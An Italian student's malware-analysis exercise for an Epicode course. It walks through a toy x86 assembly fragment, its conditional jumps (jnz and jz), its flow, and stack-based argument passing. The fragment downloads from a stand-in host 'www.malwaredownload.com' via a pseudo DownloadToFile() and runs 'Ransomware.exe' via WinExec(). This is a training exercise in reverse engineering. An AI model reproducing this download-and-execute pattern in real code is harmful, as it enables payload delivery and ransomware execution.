Christian Huamacto

Progetto Epicode

09/12/2023

Con riferimento al codice rispondere ai seguenti quesiti:

- Spiegare quale salto condizionale effettua il Malware.
- Illustrare un diagramma di flusso (prendere come esempio la visualizzazione grafica di IDA) identificando i salti condizionali (sia quelli effettuati che quelli non effettuati). Indicare con una linea verde i salti effettuati, mentre con una linea rossa i salti non effettuati.
- Spiegare quali sono le diverse funzionalità implementate all'interno del Malware
- Con riferimento alle istruzioni «call» presenti nella seconda e terza tabella, dettagliare come sono passati gli argomenti alle successive chiamate di funzione.

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2
0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile()	; pseudo funzione

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings\Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

Salti condizionali

Il salto condizionale, verrà effettuato alla locazione di memoria **00401068**. Con l'istruzione **jz** si effettuerà il salto alla locazione **0040FFA0**, come segnato nel riquadro in **verde**, solo se gli operandi dell'istruzione cmp sono uguali. In questo caso il salto viene effettuato avendo **EBX pari a 11**.

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2
0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

Diagramma di flusso

Rispetto al diagramma di flusso, le linee rosse rappresentano i salti non effettuati dal malware. Mentre le linee verdi rappresentano i salti effettuati

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2
0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile()	; pseudo funzione

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings\Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

Funzionalità implementate nel malware

Da quanto visto tramite le tabelle possiamo constatare che il malware implementa 2 funzionalità

Nella prima, il malware cerca di scaricare un ulteriore software malevolo dal sito "www.malwaredownload.com". Il sito presubilmente è controllatto dall'attaccante. Questa funzionalità si può pure riconoscere come un Downloader

Nella seconda, tramite la funzione WinExec() viene eseguito il malware già presente nel dispositivo. Si può presumere che questo software malevolo sia stato precedentemente installato

Spiegazione del passaggio degli argomenti alle successive chiamate di funzione (Con riferimento a «call»)

Per entrambe le funzioni, i parametri sono passati sullo **stack** tramite l'istruzione **push**.

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile()	; pseudo funzione

Attraverso la funzione **DownloadToFile()** gli si passa un **URL** per scaricare dei file malevoli sulla macchina vittima.

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings\Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

Per quanto riguarda la funzione **WinExec(),** gli viene passato il **path** del software malevolo, già installato, da far avviare.

Fine